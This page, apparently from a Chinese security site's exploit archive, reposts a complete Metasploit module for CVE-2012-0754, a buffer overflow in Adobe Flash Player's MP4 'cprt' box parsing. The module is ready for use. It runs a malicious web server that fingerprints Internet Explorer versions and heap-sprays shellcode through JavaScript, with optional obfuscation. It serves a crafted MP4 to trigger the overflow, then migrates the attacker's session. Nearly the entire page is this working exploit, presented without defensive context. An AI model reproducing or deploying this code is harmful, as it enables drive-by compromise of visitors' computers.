首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Adobe Flash Player MP4 cprt box Buffer Overflow
来源:hongin[at]zeroxss.com 作者:hongin 发布时间:2012-03-09  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::Remote::HttpServer::HTML
    def initialize(info={})
        super(update_info(info,
            'Name'           => "Adobe Flash Player MP4 cprt box Buffer Overflow",
            'Description'    => %q{
                    This module exploits a vulnerability found in Adobe Flash Player's Flash10u.ocx
                component.  When processing a MP4 file
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'hongin[at]zeroxss.com'
                ],
            'References'     =>
                [
                    [ 'CVE', '2012-0754' ],
                    [ 'URL', 'http://www.zeroxss.com/' ],
                    [ 'URL', 'http://contagiodump.blogspot.com/2012/03/mar-2-cve-2012-0754-irans-oil-and.html' ],
                ],
            'Payload'        =>
                {
                    'BadChars'        => "\x00",
                    'StackAdjustment' => -3500
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction'         => "seh",
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic', {} ],
                    [ 'IE 6 on Windows XP SP3',         { 'Offset' => '0x600' } ], #0x5f4 = spot on
                    [ 'IE 7 on Windows XP SP3 / Vista', { 'Offset' => '0x600' } ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "2012.03.06",
            'DefaultTarget'  => 0))
            register_options(
                [
                    OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']),
                    OptString.new('SWF_PLAYER_URI', [true, 'Path to the SWF Player'])
                ], self.class)
    end
    def get_target(agent)
        #If the user is already specified by the user, we'll just use that
        return target if target.name != 'Automatic'
        if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
            return targets[1]
        elsif agent =~ /MSIE 7/
            return targets[2]
        else
            return nil
        end
    end
    def on_request_uri(cli, request)
        agent = request.headers['User-Agent']
        my_target = get_target(agent)
        # Avoid the attack if the victim doesn't have the same setup we're targeting
        if my_target.nil?
            print_error("Browser not supported, will not launch attack: #{agent.to_s}: #{cli.peerhost}:#{cli.peerport}")
            send_not_found(cli)
            return
        end
        # The SWF requests our MP4 trigger
        if request.uri =~ /\.mp4$/
            print_status("Sending MP4 to #{cli.peerhost}:#{cli.peerport}...")
            #print_error("Sorry, not sending you the mp4 for now")
            #send_not_found(cli)
            send_response(cli, @mp4, {'Content-Type'=>'video/mp4'})
            return
        end
        # Set payload depending on target
        p = payload.encoded
        js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
        js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
        js = <<-JS
        var heap_obj = new heapLib.ie(0x20000);
        var code = unescape("#{js_code}");
        var nops = unescape("#{js_nops}");
        while (nops.length < 0x80000) nops += nops;
        var offset = nops.substring(0, #{my_target['Offset']});
        var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
        while (shellcode.length < 0x40000) shellcode += shellcode;
        var block = shellcode.substring(0, (0x80000-6)/2);
        heap_obj.gc();
        for (var i=1; i < 0x300; i++) {
            heap_obj.alloc(block);
        }
        JS
        js = heaplib(js, {:noobfu => true})
        if datastore['OBFUSCATE']
            js = ::Rex::Exploitation::JSObfu.new(js)
            js.obfuscate
        end
        myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
        mp4_uri = "http://#{myhost}:#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6)+3)}.mp4"
        swf_uri = "#{datastore['SWF_PLAYER_URI']}?autostart=true&image=video.jpg&file=#{mp4_uri}"
        html = %Q|
        <html>
        <head>
        <script>
        #{js}
        </script>
        </head>
        <body>
        <object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">
        <param name="movie" value="#{swf_uri}">
        </object>
        </body>
        </html>
        |
        html = html.gsub(/^\t\t/, '')
        print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
        send_response(cli, html, {'Content-Type'=>'text/html'})
    end
    def exploit
        @mp4 = create_mp4
        super
    end
    def create_mp4
        ftypAtom = "\x00\x00\x00\x18"                   #Size
        ftypAtom << "ftypmp42"
        ftypAtom << "\x00\x00\x00\x00"
        ftypAtom << "mp42isom"
        mdatAtom = "\x00\x00\x00\x0D"                   #Size
        mdatAtom << "cprt"
        mdatAtom << "\x00\xFF\xFF\xFF\x00\x00\x00\x00"
        m = ftypAtom + mdatAtom + "\x0C" * 22328
        return m
    end
end
#Example of SWF player URI:
#http://www.jeroenwijering.com/embed/mediaplayer.swf



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Adobe Flash Player .mp4 'cprt'
·VLC v. 1.1.11 .3g2 Memory Corr
·Zend Server 5.6.0 Multiple Rem
·LotusCMS 3.0 eval() Remote Com
·PyPAM -- Python bindings for P
·VLC media player <= 1.1.11 (.a
·Splash Pro Hd Player (.avi) De
·GOM Media Player 2.1.37 Buffer
·Sysax 5.53 SSH Username Buffer
·VLC media player <= 1.1.11 (.f
·Passport PC To Host Malformed
·Linux x86_64 - add user with p
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved